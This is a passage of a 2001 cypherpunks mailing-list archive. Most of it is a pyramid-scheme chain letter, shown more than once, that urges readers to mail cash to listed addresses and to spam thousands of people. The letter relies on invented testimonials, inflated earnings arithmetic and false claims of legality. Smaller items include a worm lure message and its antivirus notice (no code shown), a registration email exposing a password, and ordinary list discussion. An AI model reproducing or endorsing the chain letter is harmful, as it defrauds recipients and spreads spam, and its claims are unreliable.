goes, and we will assume You and those involved send
out only 5,000 e-mails each. Let's also assume that the
mailing receive only a 0.2% response (the response could
be much better but lets just say it is only 0.2%. Also many
people will send out hundreds of thousands e-mails 
instead of only 5,000 each). Continuing with this example, 
you send out only 5,000 e-mails. 

With a 0.2% response, that is only 10 orders for 
report # 1. Those 10 people responded by sending
out 5,000 e-mail each for a total of 50,000. Out of 
those 50,000 e-mails only 0.2% responded with 
orders. That's=100 people responded and ordered 
Report # 2. 

Those 100 people mail out 5,000 e-mails each 
for a total of 500,000 e-mails. The 0.2% response to
that is 1000 orders for Report # 3. 

Those 1000 people send out 5,000 e-mails each for
a total of 5 million e-mails sent out. The 0.2%
response to that is 10,000 orders for Report # 4.

Those 10,000 people send out 5,000 e-mails each
for a total of 50,000,000 (50 million) e-mails. The
0.2% response to that is 100,000 orders for 
Report # 5 THAT'S 100,000 ORDERS TIMES 
$5 EACH=$500,000.00 (half million). 

Your total income in this example is: 1..... 
$50 + 2..... $500 + 3.....$5,000 + 4..... $50,000 + 
5..... $500,000 ........ Grand Total=$555,550.00 

NUMBERS DO NOT LIE. GET A PENCIL & 
PAPER AND FIGURE OUT THE WORST
POSSIBLE RESPONSES AND NO MATTER
HOW YOU CALCULATE IT, YOU WILL STILL
MAKE A LOT OF MONEY ! 

============================================ 
REMEMBER FRIEND, THIS IS ASSUMING 
ONLY 10 PEOPLE ORDERING OUT OF 
5,000 YOU MAILED TO. 
Dare to think for a moment what would happen
if everyone or half or even one 4th of those people
mailed 100,000e-mails each or more? There are over 
150 million people on the Internet worldwide and
counting. Believe me, many people will do just
that, and more! 

METHOD # 2 : BY PLACING FREE ADS ON THE INTERNET 
=================================================
Advertising on the net is very very inexpensive and there
are hundreds of FREE places to advertise. Placing a lot
of free ads on the Internet will easily get a larger response.
We strongly suggest you start with Method # 1 and
add METHOD # 2 as you go along. For every $5 you
receive,all you must do is e-mail them the Report they 
ordered. That's it. Always provide same day service on 
all orders. 

This will guarantee that the e-mail they send out, 
with your name and address on it, will be prompt
because they cannot advertise until they
receive the report. 

=============AVAILABLE REPORTS ============

ORDER EACH REPORT BY ITS NUMBER & 
NAME ONLY. Notes: Always send $5 cash 
(U.S. CURRENCY) for each Report. Checks NOT 
accepted. Make sure the cash is concealed by 
wrapping it in at least 2 sheets of paper. On one
of those sheets of paper, Write the NUMBER 
& the NAME of the Report you are ordering, 
YOUR E-MAIL ADDRESS 
and your name and postal address. 

PLACE YOUR ORDER FOR THESE REPORTS NOW: 
============================================
Report # 1: 'The Insider's Guide to Advertising for Free on the Net 

Order Report #1 from:

JW
PO Box 344
Pfafftown, NC 27040
USA

______________________________________________________
REPORT # 2: The Insider's Guide to Sending Bulk e-mail on the Net

Order Report # 2 from: 

Richard E. Weaver
P.O. Box 67
St.Johnsville, NY 13452
USA 

______________________________________________________
REPORT # 3: Secret to Multilevel marketing on the net

Order Report # 3 from: 

A. Smith
P.O. Box 573072
Houston, TX 77257-3072
USA 

______________________________________________________
REPORT # 4: How to become a Millionaire utilizing MLM & the Net 

Order Report # 4 from: 

CJ
P.O. 130157
Roseville, MN 55113
USA 

______________________________________________________
REPORT #5: How to send out 0ne million emails for free!

Order Report # 5 From:

R.B.
Box 21115
Grande Prairie
Alberta, T8V-6W7
CANADA
______________________________________________________
$$$$$$$$$ YOUR SUCCESS GUIDELINES $$$$$$$$$$$ 

Follow these guidelines to guarantee your success: 

=== If you do not receive at least 10 orders for Report 
#1 within 2 weeks, continue sending e-mails until you do. 

=== After you have received 10 orders, 2 to 3 weeks
after that you should receive 100 orders or more for 
REPORT # 2. If you did not, continue advertising or
sending e-mails until you do. 

=== Once you have received 100 or more orders
for Report # 2, YOU CAN RELAX, because the 
system is already working for you, and the cash will
continue to roll in ! THIS IS IMPORTANT TO 
REMEMBER: Every time your name is moved 
down on the list, you are placed in front of a
Different report. 

You can KEEP TRACK of your PROGRESS
by watching which report people are ordering 
from you. IF YOU WANT TO GENERATE
MORE INCOME SEND ANOTHER BATCH
OF E-MAILS AND START THE WHOLE
PROCESS AGAIN. There is NO LIMIT 
to the income you can generate from this business !!! 

==========================================

FOLLOWING IS A NOTE FROM THE 
ORIGINATOR OF THIS PROGRAM: You have
just received information that can give you
financial freedom for the rest of your life, with NO
RISK and JUST A LITTLE BIT OF EFFORT. You 
can make more money in the next few weeks 
and months than you have ever imagined. Follow the
program EXACTLY AS INSTRUCTED. Do Not change
it in any way. It works exceedingly well as it is now. 

Remember to e-mail a copy of this exciting report
after you have put your name and address in 
Report #1 and moved others to #2 ...........# 5 as 
instructed above. One of the people you send this
to may send out 100,000 = or more e-mails and your
name will be on every one of them. Remember 
though, the more you send out the more potential
customers you will reach. So my friend, I have given you
the ideas, information, materials and opportunity
to become financiallyindependent.
 IT IS UP TO YOU NOW ! 

============ MORE TESTIMONIALS ============ 

'' My name is Mitchell. My wife, Jody and I live
in Chicago. I am an accountant with a major U.S.
Corporation and I make pretty good money.
When I received this program I grumbled to 
Jody about receiving ''junk mail''. I made fun of the
whole thing, spouting my knowledge of the population
and percentages involved. I ''knew'' it wouldn't work.
Jody totally ignored my supposed intelligence and
few days later she jumped in with both feet. I made
merciless fun of her, and was ready to lay the old 
''I told you so'' on her when the thing didn't work. Well, 
the laugh was on me! Within 3 weeks she had 
received 50 responses. Within the next 45 days 
she had received total $ 147,200.00 ........... 
all cash! I was shocked. I have joined 
Jody in her ''hobby''. 
Mitchell Wolf M.D., Chicago, Illinois 
=========================================
'' Not being the gambling type, it took me several 
weeks to make up my mind to participate in this plan.
But conservative that I am, I decided that the 
initial investment was so little that there was just 
no way that I wouldn't get enough orders to at 
least get my money back''. '' I was surprised when 
I found my medium size post office box crammed 
with orders. I made $319,210.00 in the first 
12 weeks. The nice thing about this deal is that 
it does not matter where people live. There simply 
isn't a better investment with a faster return and so big''. 
Dan Sondstrom, Alberta, Canada 
=============================================
'' I had received this program before. I deleted it, but 
later I wondered if I should have given it a try. Of course,
I had no idea who to contact to get another copy, so 
I had to wait until I was e-mailed again by someone else
........11 months passed then it luckily came again......
I did not delete this one! I made more than $490,000
on my first try and all the money came within 22 weeks''. 
Susan De Suza, New York, N.Y. 
============================================== 
'' It really is a great opportunity to make relatively easy
money with little cost to you. I followed the simple 
instructions carefully and within 10 days the money 
started to come in. My first month I made $ 20, 560.00
and by the end of third month my total cash count was
$ 362,840.00. Life is beautiful, Thanx to internet''. 
Fred Dellaca, Westport, New Zealand 
=============================================== 

ORDER YOUR REPORTS TODAY AND GET STARTED 
ON YOUR ROAD TO FINANCIAL FREEDOM !

================================================ 
If you have any questions of the legality of this
program, contact the Office of Associate Director 
for Marketing Practices, Federal Trade Commission,
Bureau of Consumer Protection, Washington, D.C. 


To be Removed from this mailing list: 
remove at 4ahomeloan.net









From ezBiz at drsend.com  Mon Feb 12 08:59:27 2001
From: ezBiz at drsend.com (ezBiz at drsend.com)
Date: Mon, 12 Feb 2001 08:59:27
Subject: Your Treasure Chest has ARRIVED!
Message-ID: <200102121359.IAA01305@waste.minder.net>


Dear Friends & Future Millionaire: 

AS SEEN ON NATIONAL TV:

Making over half million dollars every 4 to 5 months
from your home for an investment of only $25 U.S.
Dollars expense one time 

THANK'S TO THE COMPUTER AGE AND THE INTERNET! 
======================================== 
BE A MILLIONAIRE LIKE OTHERS WITHIN A YEAR!!! 

Before you say ''Bull'', please read the following. 
This is the letter you have been hearing about on
the news lately. Due to the popularity of this letter
on the Internet, a national weekly news program 
recently devoted an entire show to the investigation 
of this program described below, to see if it really 
can make people money. The show also investigated
whether or not the program was legal. 

Their findings proved once and for all that there 
are ''absolutely NO Laws prohibiting the participation 
in the program and if people can follow the simple 
instructions, they are bound to make some mega
bucks with only $25 out of pocket cost''. 
DUE TO THE RECENT INCREASE OF POPULARITY
& RESPECT THIS PROGRAM HAS ATTAINED, IT 
IS CURRENTLY WORKING BETTER THAN EVER. 

This is what one had to say: '' Thanks to this profitable
opportunity. I was approached many times before but 
each time I passed on it. I am so glad I finally joined
just to see what one could expect in return for the
minimal effort and money required. To my astonishment
, I received total $ 610,470.00 in 21 weeks, with 
money still coming in''. 
Pam Hedland, Fort Lee, New Jersey. 

============================================= 
Here is another testimonial: ''' this program has been
around for a long time but I never believed in it. But 
one day when I received this again in the mail I decided
to gamble my $25 on it. I followed the simple instructions
and walaa ..... 3 weeks later the money started to come
in. First month I only made $240.00 but the next 2 months
after that I made a total of $290,000.00. So far, in the
past 8 months by re-entering the program, I have made 
over $710,000.00 and I am playing it again. The key
to successin this program is to follow the simple steps
and NOT change anything.'' More testimonials later
but first, 

~PRINT THIS NOW FOR YOUR FUTURE REFERENCE~ 

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
If you would like to make at least $500,000 every 4 to 5
months easily and comfortably, please read the following...
THEN READ IT AGAIN and AGAIN !!! 
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

FOLLOW THE SIMPLE INSTRUCTION BELOW AND 
YOUR FINANCIAL DREAMS WILL COME TRUE, 
GUARANTEED! INSTRUCTIONS: 

=====Order all 5 reports shown on the list below =====

For each report, send $5 CASH, THE NAME & NUMBER 
OF THE REPORT YOU ARE ORDERING and
YOUR E-MAIL ADDRESS to the person whose name 
appears ON THAT LIST next to the report. MAKE SURE 
YOUR RETURN ADDRESS IS ON YOUR ENVELOPE 
TOP LEFT CORNER in case of any mail problems. 

When you place your order, make sure you order each
of the 5 reports. You will need all 5 reports so that
you can save them on your computer and resell them.
YOUR TOTAL COST $5 X 5=$25.00. 

Within a few days you will receive, vie e-mail, each of
the 5 reports from these 5 different individuals. Save
them on your computer so they will be accessible for
you to send to the 1,000's of people who will order them 
from you. Also make a floppy of these reports and keep
it on your desk in case something happen to your computer. 

IMPORTANT - DO NOT alter the names of the people
who are listed \ next to each report, or their sequence 
on the list, in any way other than what is instructed
below in step '' 1 through 6 '' or you will loose out on
majority of your profits. Once you understand the way
this works, you will also see how it does not work if you
change it. Remember,this method has been tested,
and if you alter, it will NOTwork !!! People have tried
to put their friends/relatives names on all five thinking
they could get all the money.But it does not work this
way. Believe us, we all have tried to be greedy and
then nothing happened. So Do Not try to change
anything other than what is instructed. Because if you
do, it will not work for you. 
Remember, honesty reaps the reward!!! 

1.... After you have ordered all 5 reports, take this
advertisement and REMOVE the name & address of
the person in REPORT # 5. This person has made it
through the cycle and is no doubt counting their fortune. 

2.... Move the name & address in REPORT # 4 down TO REPORT # 5. 

3.... Move the name & address in REPORT # 3 down TO REPORT # 4. 

4.... Move the name & address in REPORT # 2 down TO REPORT # 3. 

5.... Move the name & address in REPORT # 1 down TO REPORT # 2 

6.... Insert YOUR name & address in the REPORT # 1 Position. 
PLEASE MAKE SURE you copy every name & address ACCURATELY! 

================================================
**** Take this entire letter, with the modified list of 
names, and save it on your computer. DO NOT 
MAKE ANY OTHER CHANGES. 

Save this on a disk as well just in case if you loose 
any data. To assist you with marketing your business on
the internet, the 5 reports you purchase will provide you
with invaluable marketing information which includes
how to send bulk e-mails legally, where to find thousands
of free classified ads and much more. There are 2 
Primary methods to get this venture going: 

METHOD # 1: BY SENDING BULK E-MAIL LEGALLY 
=================================================

It's say that you decide to start small, just to see how it 
goes, and we will assume You and those involved send
out only 5,000 e-mails each. Let's also assume that the
mailing receive only a 0.2% response (the response could
be much better but lets just say it is only 0.2%. Also many
people will send out hundreds of thousands e-mails 
instead of only 5,000 each). Continuing with this example, 
you send out only 5,000 e-mails. 

With a 0.2% response, that is only 10 orders for 
report # 1. Those 10 people responded by sending
out 5,000 e-mail each for a total of 50,000. Out of 
those 50,000 e-mails only 0.2% responded with 
orders. That's=100 people responded and ordered 
Report # 2. 

Those 100 people mail out 5,000 e-mails each 
for a total of 500,000 e-mails. The 0.2% response to
that is 1000 orders for Report # 3. 

Those 1000 people send out 5,000 e-mails each for
a total of 5 million e-mails sent out. The 0.2%
response to that is 10,000 orders for Report # 4.

Those 10,000 people send out 5,000 e-mails each
for a total of 50,000,000 (50 million) e-mails. The
0.2% response to that is 100,000 orders for 
Report # 5 THAT'S 100,000 ORDERS TIMES 
$5 EACH=$500,000.00 (half million). 

Your total income in this example is: 1..... 
$50 + 2..... $500 + 3.....$5,000 + 4..... $50,000 + 
5..... $500,000 ........ Grand Total=$555,550.00 

NUMBERS DO NOT LIE. GET A PENCIL & 
PAPER AND FIGURE OUT THE WORST
POSSIBLE RESPONSES AND NO MATTER
HOW YOU CALCULATE IT, YOU WILL STILL
MAKE A LOT OF MONEY ! 

============================================ 
REMEMBER FRIEND, THIS IS ASSUMING 
ONLY 10 PEOPLE ORDERING OUT OF 
5,000 YOU MAILED TO. 
Dare to think for a moment what would happen
if everyone or half or even one 4th of those people
mailed 100,000e-mails each or more? There are over 
150 million people on the Internet worldwide and
counting. Believe me, many people will do just
that, and more! 

METHOD # 2 : BY PLACING FREE ADS ON THE INTERNET 
=================================================
Advertising on the net is very very inexpensive and there
are hundreds of FREE places to advertise. Placing a lot
of free ads on the Internet will easily get a larger response.
We strongly suggest you start with Method # 1 and
add METHOD # 2 as you go along. For every $5 you
receive,all you must do is e-mail them the Report they 
ordered. That's it. Always provide same day service on 
all orders. 

This will guarantee that the e-mail they send out, 
with your name and address on it, will be prompt
because they cannot advertise until they
receive the report. 

=============AVAILABLE REPORTS ============

ORDER EACH REPORT BY ITS NUMBER & 
NAME ONLY. Notes: Always send $5 cash 
(U.S. CURRENCY) for each Report. Checks NOT 
accepted. Make sure the cash is concealed by 
wrapping it in at least 2 sheets of paper. On one
of those sheets of paper, Write the NUMBER 
& the NAME of the Report you are ordering, 
YOUR E-MAIL ADDRESS 
and your name and postal address. 

PLACE YOUR ORDER FOR THESE REPORTS NOW: 
============================================
Report # 1: 'The Insider's Guide to Advertising for Free on the Net 

Order Report #1 from:

JW
PO Box 344
Pfafftown, NC 27040
USA

______________________________________________________
REPORT # 2: The Insider's Guide to Sending Bulk e-mail on the Net

Order Report # 2 from: 

Richard E. Weaver
P.O. Box 67
St.Johnsville, NY 13452
USA 

______________________________________________________
REPORT # 3: Secret to Multilevel marketing on the net

Order Report # 3 from: 

A. Smith
P.O. Box 573072
Houston, TX 77257-3072
USA 

______________________________________________________
REPORT # 4: How to become a Millionaire utilizing MLM & the Net 

Order Report # 4 from: 

CJ
P.O. 130157
Roseville, MN 55113
USA 

______________________________________________________
REPORT #5: How to send out 0ne million emails for free!

Order Report # 5 From:

R.B.
Box 21115
Grande Prairie
Alberta, T8V-6W7
CANADA
______________________________________________________
$$$$$$$$$ YOUR SUCCESS GUIDELINES $$$$$$$$$$$ 

Follow these guidelines to guarantee your success: 

=== If you do not receive at least 10 orders for Report 
#1 within 2 weeks, continue sending e-mails until you do. 

=== After you have received 10 orders, 2 to 3 weeks
after that you should receive 100 orders or more for 
REPORT # 2. If you did not, continue advertising or
sending e-mails until you do. 

=== Once you have received 100 or more orders
for Report # 2, YOU CAN RELAX, because the 
system is already working for you, and the cash will
continue to roll in ! THIS IS IMPORTANT TO 
REMEMBER: Every time your name is moved 
down on the list, you are placed in front of a
Different report. 

You can KEEP TRACK of your PROGRESS
by watching which report people are ordering 
from you. IF YOU WANT TO GENERATE
MORE INCOME SEND ANOTHER BATCH
OF E-MAILS AND START THE WHOLE
PROCESS AGAIN. There is NO LIMIT 
to the income you can generate from this business !!! 

==========================================

FOLLOWING IS A NOTE FROM THE 
ORIGINATOR OF THIS PROGRAM: You have
just received information that can give you
financial freedom for the rest of your life, with NO
RISK and JUST A LITTLE BIT OF EFFORT. You 
can make more money in the next few weeks 
and months than you have ever imagined. Follow the
program EXACTLY AS INSTRUCTED. Do Not change
it in any way. It works exceedingly well as it is now. 

Remember to e-mail a copy of this exciting report
after you have put your name and address in 
Report #1 and moved others to #2 ...........# 5 as 
instructed above. One of the people you send this
to may send out 100,000 = or more e-mails and your
name will be on every one of them. Remember 
though, the more you send out the more potential
customers you will reach. So my friend, I have given you
the ideas, information, materials and opportunity
to become financiallyindependent.
 IT IS UP TO YOU NOW ! 

============ MORE TESTIMONIALS ============ 

'' My name is Mitchell. My wife, Jody and I live
in Chicago. I am an accountant with a major U.S.
Corporation and I make pretty good money.
When I received this program I grumbled to 
Jody about receiving ''junk mail''. I made fun of the
whole thing, spouting my knowledge of the population
and percentages involved. I ''knew'' it wouldn't work.
Jody totally ignored my supposed intelligence and
few days later she jumped in with both feet. I made
merciless fun of her, and was ready to lay the old 
''I told you so'' on her when the thing didn't work. Well, 
the laugh was on me! Within 3 weeks she had 
received 50 responses. Within the next 45 days 
she had received total $ 147,200.00 ........... 
all cash! I was shocked. I have joined 
Jody in her ''hobby''. 
Mitchell Wolf M.D., Chicago, Illinois 
=========================================
'' Not being the gambling type, it took me several 
weeks to make up my mind to participate in this plan.
But conservative that I am, I decided that the 
initial investment was so little that there was just 
no way that I wouldn't get enough orders to at 
least get my money back''. '' I was surprised when 
I found my medium size post office box crammed 
with orders. I made $319,210.00 in the first 
12 weeks. The nice thing about this deal is that 
it does not matter where people live. There simply 
isn't a better investment with a faster return and so big''. 
Dan Sondstrom, Alberta, Canada 
=============================================
'' I had received this program before. I deleted it, but 
later I wondered if I should have given it a try. Of course,
I had no idea who to contact to get another copy, so 
I had to wait until I was e-mailed again by someone else
........11 months passed then it luckily came again......
I did not delete this one! I made more than $490,000
on my first try and all the money came within 22 weeks''. 
Susan De Suza, New York, N.Y. 
============================================== 
'' It really is a great opportunity to make relatively easy
money with little cost to you. I followed the simple 
instructions carefully and within 10 days the money 
started to come in. My first month I made $ 20, 560.00
and by the end of third month my total cash count was
$ 362,840.00. Life is beautiful, Thanx to internet''. 
Fred Dellaca, Westport, New Zealand 
=============================================== 

ORDER YOUR REPORTS TODAY AND GET STARTED 
ON YOUR ROAD TO FINANCIAL FREEDOM !

================================================ 
If you have any questions of the legality of this
program, contact the Office of Associate Director 
for Marketing Practices, Federal Trade Commission,
Bureau of Consumer Protection, Washington, D.C. 


To be Removed from this mailing list: 
remove at 4ahomeloan.net









From ANTIGEN_EXCHANGE at thinklinkinc.com  Mon Feb 12 09:12:25 2001
From: ANTIGEN_EXCHANGE at thinklinkinc.com (ANTIGEN_EXCHANGE)
Date: Mon, 12 Feb 2001 09:12:25 -0800
Subject: Antigen found =*.vbs file
Message-ID: <3475CE1F1D75D4118174009027A4CDE6322CB2@exchange.thinklinkinc.com>

Antigen for Exchange found AnnaKournikova.jpg.vbs matching =*.vbs file
filter.
The file is currently Deleted.  The message, "Here you have, ;o)", was
sent from Vin McLellan  and was discovered in IMC Queues\Inbound
located at ITC/Corporate/EXCHANGE.
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From jya at pipeline.com  Mon Feb 12 06:47:16 2001
From: jya at pipeline.com (John Young)
Date: Mon, 12 Feb 2001 09:47:16 -0500
Subject: Brit Intel Telling Tales
In-Reply-To: <m2ofw89hkb.fsf@squack.com>
References: <Ken Brown's message of "Mon, 12 Feb 2001 10:28:41 +0000">
 <200102091951.OAA03764@maynard.mail.mindspring.net>
 <3A87BAD9.4F50D6E4@ccs.bbk.ac.uk>
Message-ID: <200102121457.JAA24861@granger.mail.mindspring.net>


Steve Mynott wrote:

>Is there any actual evidence that is genuine?
>
>There are numerous parties (various terrorist groups) that spread
>misinformation.

Yes, I should have used "alleged." The allegation is made in
the anonymous article posted as well as news reports
about findings of the Stevens Committeee investigation into 
the killings. The evidence of Walshaw's participation is
allegedly contained in military reports of the murders obtained
by the Stevens panel. Stevens has not yet completed its 
investigation. Other, unnamed former members of the FRU 
are reported by the press to confirm the allegation.

And yes, terrorists and governments spread disinformation.
And sacrifice low level spies and agents to protect higher ups.
And kill innocents for publicity and recruitment and career
advancement.

So it is alleged.

"Martin Ingram", ex-FRU member once providing evidence
to the Stevens committee, is one such target of both terrorists and
governments.





From k.brown at ccs.bbk.ac.uk  Mon Feb 12 02:28:41 2001
From: k.brown at ccs.bbk.ac.uk (Ken Brown)
Date: Mon, 12 Feb 2001 10:28:41 +0000
Subject: Brit Intel Telling Tales
References: <200102091951.OAA03764@maynard.mail.mindspring.net>
Message-ID: <3A87BAD9.4F50D6E4@ccs.bbk.ac.uk>


Still visible from UK on Monday morning.

Oh whoops, does that mean I have a copy on my hard disk? What a pity...


Ken Brown

John Young wrote:
> 
> 9 February 2001, 2:35 PM EST. Cryptome has just received
> word that the British government is telling UK newspapers that
> an arrangement has been reached with Cryptome's ISP,
> Verio, to yank "Enquiry: The Killing Years in Ireland":
> 
>   http://cryptome.org/fru-walshaw.htm
> 
> We have not heard from Verio, and the file remains available.
> 
> The British government is threatening to injunct any UK
> publisher intending to reveal information in the file which
> was received from an anonymous source and names a
> controversial intelligence agent runner in Northern Ireland.
> The named officer is the center of a major investigation
> of orchestrated murders assisted by British intel.
> 
> The Brits are telling newspapers that publication on Cryptome
> does not mean the information is widely available, thus justifying
> British publication.
> 
> Cryptome will not remove the file except in response
> to a US court order because it is our belief that nothing
> in the file is illegal under US law.




From k.brown at ccs.bbk.ac.uk  Mon Feb 12 02:42:54 2001
From: k.brown at ccs.bbk.ac.uk (Ken Brown)
Date: Mon, 12 Feb 2001 10:42:54 +0000
Subject: Pentagon warns Fidel Castro could launch cyberattack against U.S.
References: <20010209093820.B7548@cluebot.com> <002b01c09320$081b0940$0500a8c0@ne.mediaone.net>
Message-ID: <3A87BE2E.1184FFD3@ccs.bbk.ac.uk>


Phillip Hallam-Baker wrote:
> 
> Congress is absolutely right to bring this to everyone's attention. Fidel
> Castro is a demon coder who can crank out code at an astonishing rate
> given a sufficient supply of brandy, nachos and cigars.
> 
> In the bleakest moments of the cold war when the russian army was poised to
> roll into Western Europe we British would always think of the example set
> by the plucky little USA facing a global superpower in the Caribean poised
> to overwhelm it at any moment.

Not to mention all that rhythm. 

Save America from an overwhelming wave of salsa.

Ken




From ptrei at rsasecurity.com  Mon Feb 12 07:57:21 2001
From: ptrei at rsasecurity.com (Trei, Peter)
Date: Mon, 12 Feb 2001 10:57:21 -0500
Subject: watermarking sucks (Re: stego for the censored II)
Message-ID: <F504A8CEE925D411AF4A00508B8BE90A91EB9B@exna07.securitydynamics.com>


I realize that this is *slightly* simplistic, but comparing 2 
(preferably 3 or more) copies of the data with different 
watermark contents should quickly reveal where and what 
constitutes the watermarking.

Of course, there are methods to make this more onerous - 
MACing the watermarked data for one - but nothing a 
determined counterfeiter couldn't work around. It only 
takes one, after all.

I'm currently working my way through Schneier's 'Secrets 
and Lies'. He has one comment I like to the effect that 
trying to make data not be copyable is a task on a par 
with trying to make water not be wet.

Peter Trei

> ----------
> From: 	Adam Back[SMTP:adam at cypherspace.org]
[...]

> Of course the whole concept of watermarking is broken at all
> levels, copying can not be prevented as the content can typically
> be reencoded and lose the watermark, quality is in heavy contention
> with the ease with which the watermark can be removed.  Even 
> if it is keyed.  And ultimately content can plausibly deniably
> be stolen and all it takes is one copy.
> 
> Adam
> 




From declan at well.com  Mon Feb 12 08:03:13 2001
From: declan at well.com (Declan McCullagh)
Date: Mon, 12 Feb 2001 11:03:13 -0500
Subject: Odd Addresses
In-Reply-To: <200102111756.MAA10145@smtp6.mindspring.com>; from jya@pipeline.com on Sun, Feb 11, 2001 at 12:44:40PM -0500
References: <200102111756.MAA10145@smtp6.mindspring.com>
Message-ID: <20010212110313.A18357@cluebot.com>


On Sun, Feb 11, 2001 at 12:44:40PM -0500, John Young wrote:
> 
> Got any ideas what such entries indicate? Machine 
> camouflage, snoops by spooks, spoofs, debris,
> taunts?
> 

I agree with comments elsewhere in the thread. Probably a bug in
analog. Using the latest version, I haven't noticed any problems.

-Declan




From tom at ricardo.de  Mon Feb 12 02:49:42 2001
From: tom at ricardo.de (Tom)
Date: Mon, 12 Feb 2001 11:49:42 +0100
Subject: stego for the censored II
References: <Pine.LNX.4.21.0102091053420.25114-100000@bolt.sonic.net>
Message-ID: <3A87BFC6.85135934@ricardo.de>


Ray Dillinger wrote:
> >There's a pattern.
> 
> Yah.  A pretty blatant one.  I'm wondering though why they're
> concentrating on international threats and political crap
> instead of more domestic threats.

let's take a guess: the kind and source of the alleged threat depends on
- the TLA that is looking for additional funds?




From jwinn at post.cis.smu.edu  Mon Feb 12 09:52:49 2001
From: jwinn at post.cis.smu.edu (Jane Winn)
Date: Mon, 12 Feb 2001 11:52:49 -0600
Subject: maybe digital signatures won't be the next big thing after all
Message-ID: <mailman.361.1576007496.31620.cypherpunks-legacy@lists.cpunks.org>


Bob:

May I impose on you a second time and ask you to post this to your list of
DBS people?  I'm afraid I haven't had a chance to make much progress on the
encyclopedia article because, among other things, I had to finish this paper
first.  I hope to reply shortly to the many colleagues of yours who were
kind enough to send suggestions for innovative electronic payments I should
cover in that piece.

I've written an article arguing that digital signature may not be the next
big thing after all, the popular wisdom on this point notwithstanding.  If I
have my facts wrong, or my descriptions of the technology wrong, I'd be
grateful to have this pointed out to me before this appears in print.  I've
posted a draft at:

http://www.smu.edu/~jwinn/shocking-truth.htm

If any of your colleagues have any comments, I'd be grateful for the
feedback.

regards, jkw

********************************
Jane Kaufman Winn
Professor
Southern Methodist University
School of Law
Dallas TX 75275-0116
www.smu.edu/~jwinn
www.virtual-langdell.com
********************************

--- end forwarded text


-- 
-----------------
R. A. Hettinga <mailto: rah at ibuc.com>
The Internet Bearer Underwriting Corporation <http://www.ibuc.com/>
44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'




From vin at shore.net  Mon Feb 12 08:58:42 2001
From: vin at shore.net (Vin McLellan)
Date: Mon, 12 Feb 2001 11:58:42 -0500
Subject: Here you have, ;o)
Message-ID: <003801c09515$0e1b5ce0$e96df4cf@vin>

Hi:
Check This!
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From tom at ricardo.de  Mon Feb 12 03:04:47 2001
From: tom at ricardo.de (Tom)
Date: Mon, 12 Feb 2001 12:04:47 +0100
Subject: Crypto McCarthyism ...thoughts, gentlemen?
References: <NEBBJHBKILFDJEFIABHPIECECCAA.aimee.farr@pobox.com>
Message-ID: <3A87C34F.F28094DB@ricardo.de>


Aimee Farr wrote:
> 
> The ALPHA Male said:

she's catching up quickly. :)




From registrations at jguru.com  Mon Feb 12 12:07:13 2001
From: registrations at jguru.com (registrations at jguru.com)
Date: Mon, 12 Feb 2001 12:07:13 -0800
Subject: Thanks for registering at jGuru
Message-ID: <200102122000.MAA21257@jguru.com>


Hi!  Thanks for becoming a member of jGuru!

We have assigned your password as: grep40sing

You can change your password by following this link:

	http://www.jguru.com/portal/edit_account.jsp

[You should be automatically logged in; if not, type your
 email address and password into the login form on the
left and hit "go".]

Now that you've registered, be sure to take advantage of the
personalization features to do things like:

* add additional modules by clicking on the + or - buttons

* change the order of the modules by clicking on the up
and down arrows on the module

* change the default typeface and font size at:

	http://www.jguru.com/portal/edit_account.jsp

Also, note that many of the individual modules
allow you to customize them via their "Edit" button.

Don't forget to check out your jGuru member page:

	http://www.jguru.com/jguru/guru/view.jsp?EID=326942

You can add a bio, bookmarks, and list of publications!

You can also bookmark and tell the community about interesting
things you find on the web by using the "jGuru This!" button.
You can find the "jGuru This!" button at:

	http://www.jguru.com/jguru/channel/feed.button.jsp

Thanks!
        jGuru





From info at sportshollywood.com  Mon Feb 12 12:42:02 2001
From: info at sportshollywood.com (Sports Hollywood)
Date: Mon, 12 Feb 2001 12:42:02 PST
Subject: SportsHollywood - Early Edition
Message-ID: <200102122041.NAA17878@s0206.pm0.net>


SportsHollywood.com
   Newsletter
   Early Edition
For the week of Monday, February 12, 2000

"He's the only one here to play defense." 
--Allen Iverson on Dikembe Mutombo at the All-Star Game. 

STARTING LINE
A third crack as been found in the rail system that will 
support movable parts of Miller Park's retractable roof, but 
stadium officials describe the problem as minor.  The 
Milwaukee Brewers are scheduled to begin play there this 
spring...

... Anymore cracks on Miller's roof and you'll get a genuine 
draft...bada boom! - Mel Jones!

---------------------------------------------------------
WAY FUNNY --

Young couples, caught having sex, at work, by security cameras!
As seen on 20/20, Entertainment Tonight, Sally Jessy and more:

Click here now:
http://www.vidbidness-partners.com/t.asp?id=1067

---------------------------------------------------------

HOLLYWOOD SPORTS
OUR FIRST TELEVISION SHOW!
That's right - SportsHollywood is proud to announce that 
this summer - Ed Marinaro will lead an elite unit of Las 
Vegas Detectives as the world's biggest ass-kicker in the 
new USA Network television series ROPE SQUAD.  But don't 
worry...Ed's not leaving us, because the folks from 
SportsHollywood will actually be producing the TV show with 
Ed!  Just think - exclusive behind-the-scenes scoop, 
breaking news from the set and, of course, Ed's regular (and 
much-requested) SportsHollywood column about - what else? - 
sports...and Hollywood.

And how cool is this?  When SportsHollywood needed the 
inside track on finding out how the real Vegas cops 
operate...one of our long-time SportsHollywood subscribers 
stepped up to the plate to get Ed the opportunity to spend a 
few days with the real-life Vegas crime busters themselves.  
You gotta love that SportsHollywood family.  You rock, DH!

So sign up for the newsletter and get all the gory details 
of Ed's adventures with the Vegas cops this week.  Let's 
just say that there's a little tale about a drug bust, some 
go-go boots and a piercing....
http://www.comedyontap.com/daily

SPORTSHOLLYWOOD EXCLUSIVE: Kathryn Hancock is possibly the 
most beautiful woman ever interviewed by SportsHollywood, 
and definitely the first who could have knocked us on our 
behinds in a game of backyard football. Kathryn, who will be 
debuting in the soap opera PASSIONS in March, grew up in 
South Carolina as the only girl on her street who'd play 
football with the boys. With Kathryn to tackle you can 
understand why football is so popular in that area. See her at:
http://www.sportshollywood.com/askkathryn.html

BASKETBALL
Calling the financial situation unfair to owner Michael 
Heisley, NBA commissioner David Stern gave the Vaqncouver 
Grizzlies permission to explore a move to another city. St. 
Louis, New Orleans and Nashville, Tenn., have been mentioned 
as possible destinations for the team...

... Those cities all want professional basketball teams... 
but they might take the Grizzlies, instead...

BASEBALL
